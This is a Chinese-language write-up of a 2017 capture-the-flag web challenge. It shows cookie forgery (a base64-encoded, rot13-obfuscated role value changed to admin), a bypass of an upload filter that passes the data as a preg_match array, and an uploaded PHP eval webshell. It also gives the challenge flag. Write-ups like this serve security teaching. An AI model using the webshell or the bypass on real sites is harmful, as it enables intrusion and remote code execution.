2017第二屆廣東省強網杯線上賽- who are you

张伟文發表於2024-04-13

2017第二屆廣東省強網杯線上賽

who are you:

題目型別:web

題目描述:開啟連結,得到一個頁面:

解題方法:這句話的意思說:對不起,你沒有許可權,先檢視一下網頁原始碼,沒有發現什麼有用的資訊,然後再掃描一下目錄:

然後訪問一下這幾個目錄,發現都不行,返回的都是:對不起,你沒有許可權

用bp來抓包看一下:

發現這裡cookie裡面有個role(角色),把它進行base64解密一下:

Zjo1OiJ0aHJmZyI7
f:5:"thrfg";  //base64解密後

看到這個thrfg在想他是一個什麼,感覺像是一個使用者名稱,前面訪問的說:我們沒有許可權,那這裡我們將thrfg改成admin管理員許可權看一下,然後base64編碼:

f:5:"admin";
Zjo1OiJhZG1pbiI7 //base64編碼

發現還是不可以,還是沒有許可權,最後去網上看了一下WP說:thrfg是guest的rot13編碼,這個時候就恍然大悟,guest是客戶普通使用者的意思,所以就一直沒有許可權來訪問,前面我們也不能直接改成admin,要把admin進行rot13編碼後才可以:

admin
nqzva //admin的rot13編碼
f:5:"nqzva";
Zjo1OiJucXp2YSI7 //base64編碼

成功!然後這裡它給出讓我們POST上傳一個檔名和檔案內容,我們先隨便上傳點東西看一下

得到一個上傳路徑,我們訪問一下看看:

返回我們上傳的資料,這裡我們就可以來試著上傳我們的一句話木馬試試:

這裡一上傳就返回NoNoNo!,說明有東西被過濾了,我們來多次嘗試看看是什麼被過濾了

經過多次試驗,發現他把 < 尖括號給過濾了,當我們只要輸入一個<尖括號就會返回NoNoNo!

我們猜測這樣應該是有一個正規表示式的匹配,如果匹配到有<就會上傳失敗。而且正規表示式匹配常用的函式是preg_match()。這個函式有個漏洞,如果傳入的引數為陣列,它將直接FALSE。這樣我們猜測可以另data為陣列來進行繞過:

filename=1.php&data[]=<?php @eval($_POST['1']);?

上傳成功!用蟻劍來連一下看看:

發現連不上,我們訪問上傳路徑看一下它有沒有上傳成功

意外驚喜,在訪問上傳路徑就直接把flag給我們了:

flag{e07cd440-8eed-11e7-997d-7efc09eb6c59}

總結:這裡的cookie裡面的許可權這裡被設定了一點改變它將role角色先進行的rot13編碼,很難想到,還有最後上傳這裡把<尖括號給過濾了

相關文章